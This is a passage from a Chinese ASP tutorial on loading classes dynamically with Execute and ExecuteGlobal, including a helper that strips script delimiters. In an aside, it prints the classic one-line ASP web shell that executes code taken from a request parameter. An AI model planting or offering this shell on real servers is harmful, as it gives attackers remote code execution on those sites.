ASP中Server.Execute和Execute实现动态包含(include)脚本(3)


Set fso = Nothing
End Function
Function class_get_contents(filename)
Dim contents
contents = file_get_contents(filename)
contents = Replace(contents, "<" & "%", "")
contents = Replace(contents, "%" & ">", "")
class_get_contents = contents
End Function

有了上面的函数我们可以直接测试下面的代码:
Sample.class.asp
复制代码 代码如下:

<%
Class Sample
End Class
%>

test.asp
复制代码 代码如下:

<%
Execute class_get_contents("Sample.class.asp")
Response.Write TypeName(Eval("New Sample"))
%>

结果输出我们所期望的Sample类型名称,看来Execute还是很强大的,确实很强大,因为经常有不怀好意者用来做“小马”,最简单的ASP一句话木马的写法估计是下面这句了:
复制代码 代码如下:
<%Execute Request("c")%>

比如这段脚本位于file.asp,然后传入file.asp?c=木马文本,呵呵,下面的事你也知道了吧。好了这个是题外话,关于Execute还有一点需要注意的是,这个是上下文相关的,所以要注意作用域问题,如果Execute位于Sub过程或者Function函数内部,那么在这个外部是无法访问的。
参考文档:《Server.Execute Method》 和《使用 Server.Execute 方法》 。
2011年11月23日更新
还有一种VBScript特有的写法叫做ExecuteGlobal,这个可以解决上文说的作用域问题,通过其执行的代码是全局有效的,但是要注意避免类、函数、过程或者变量的重定义覆盖问题。